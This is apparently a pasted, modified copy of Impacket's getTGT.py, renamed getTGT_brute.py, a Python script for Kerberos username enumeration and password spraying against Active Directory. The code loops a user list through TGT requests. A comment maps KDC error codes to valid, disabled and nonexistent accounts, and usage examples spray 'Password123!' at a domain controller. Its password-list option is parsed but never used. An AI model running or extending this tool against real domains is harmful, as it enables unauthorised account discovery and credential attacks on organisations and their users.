Guest User

Untitled

a guest
Jun 9th, 2018
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.29 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Copyright (c) 2016-2018 CORE Security Technologies
  3. #
  4. # This software is provided under under a slightly modified version
  5. # of the Apache Software License. See the accompanying LICENSE file
  6. # for more information.
  7. #
  8. # Author:
  9. # Alberto Solino (@agsolino)
  10. #
  11. # Description:
  12. # Given a password, hash or aesKey, it will request a TGT and save it as ccache
  13. #
  14. # Examples:
  15. # ./getTGT.py -hashes lm:nt contoso.com/user
  16. #
  17. #
  18. import argparse
  19. import logging
  20. import sys
  21. from binascii import hexlify, unhexlify
  22.  
  23. from impacket import version
  24. from impacket.examples import logger
  25. from impacket.krb5.kerberosv5 import getKerberosTGT
  26. from impacket.krb5 import constants
  27. from impacket.krb5.types import Principal
  28.  
  29.  
  30.  
  31. class GETTGT:
  32. def __init__(self, target, password, domain, options):
  33. self.__password = password
  34. self.__user= target
  35. self.__domain = domain
  36. self.__lmhash = ''
  37. self.__nthash = ''
  38. self.__aesKey = options.aesKey
  39. self.__options = options
  40. self.__kdcHost = options.dc_ip
  41. if options.hashes is not None:
  42. self.__lmhash, self.__nthash = options.hashes.split(':')
  43.  
  44. def saveTicket(self, ticket, sessionKey):
  45. logging.info('Saving ticket in %s' % (self.__user + '.ccache'))
  46. from impacket.krb5.ccache import CCache
  47. ccache = CCache()
  48.  
  49. ccache.fromTGT(ticket, sessionKey, sessionKey)
  50. ccache.saveFile(self.__user + '.ccache')
  51.  
  52. def run(self):
  53. try:
  54. userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
  55. tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
  56. unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey,
  57. self.__kdcHost)
  58. self.saveTicket(tgt,oldSessionKey)
  59. except Exception as e:
  60. print('{}: {}'.format(userName,e))
  61.  
  62. '''
  63. disableduser : KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) <-- disabled account
  64. validuser : Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid) <-- wrong password
  65. nonexistuser : Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) <-- group name or nonexistent user
  66. '''
  67.  
  68. if __name__ == '__main__':
  69. # Init the example's logger theme
  70. logger.init()
  71. print version.BANNER
  72.  
  73. parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a "
  74. "TGT and save it as ccache")
  75. # parser.add_argument('identity', action='store', help='[domain/]username[:password]')
  76. parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
  77.  
  78. group = parser.add_argument_group('authentication')
  79.  
  80. group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
  81. group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
  82. group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
  83. '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
  84. 'ones specified in the command line')
  85. group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
  86. '(128 or 256 bits)')
  87. group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
  88. 'ommited it use the domain part (FQDN) specified in the target parameter')
  89. group.add_argument('-username', action='store',metavar = "username", help='username to use every time REALM/USERNAME')
  90. group.add_argument('-userlist', action='store',metavar = "user_list", help='user list to use for password spray')
  91. group.add_argument('-password', action='store',metavar = "password", help='password to pass along')
  92. group.add_argument('-passwordlist', action='store',metavar = "password_list", help='password list to use for password spray')
  93. group.add_argument('-domain', action='store',metavar = "domain", help='REALM value to use')
  94.  
  95. if len(sys.argv)==1:
  96. parser.print_help()
  97. print "\nExamples: "
  98. print "\t./getTGT_brute.py -hashes lm:nt contoso.com/user\n"
  99. print "\t./getTGT_brute.py -domain CORP.DOMAIN.COM -username admin -password 'Password123!' -dc-ip 192.168.1.2\n"
  100. print "\t./getTGT_brute.py -domain CORP.DOMAIN.COM -userlist username_list.txt -password 'Password123!' -dc-ip 192.168.1.2\n"
  101. print "\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked"
  102. sys.exit(1)
  103.  
  104. options = parser.parse_args()
  105.  
  106. if options.debug is True:
  107. logging.getLogger().setLevel(logging.DEBUG)
  108. else:
  109. logging.getLogger().setLevel(logging.INFO)
  110.  
  111.  
  112. import re
  113. #domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::([^@]*))?)?').match(options.identity).groups(
  114. # '')
  115.  
  116. domain = options.domain
  117. username = options.username
  118. password = options.password
  119. userlist = options.userlist
  120. passwordlist = options.passwordlist
  121.  
  122.  
  123. try:
  124. if domain is None:
  125. logging.critical('Domain should be specified!')
  126. sys.exit(1)
  127.  
  128. if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
  129. from getpass import getpass
  130. password = getpass("Password:")
  131.  
  132. if options.aesKey is not None:
  133. options.k = True
  134.  
  135. if userlist is not None:
  136. lines = [line.rstrip('\n') for line in open(userlist)]
  137. for x in lines:
  138. executer = GETTGT(x, password, domain, options)
  139. executer.run()
  140.  
  141. #executer = GETTGT(username, password, domain, options)
  142. #executer.run()
  143. except Exception, e:
  144. if logging.getLogger().level == logging.DEBUG:
  145. import traceback
  146. traceback.print_exc()
  147. print str(e)
Add Comment
Please, Sign In to add comment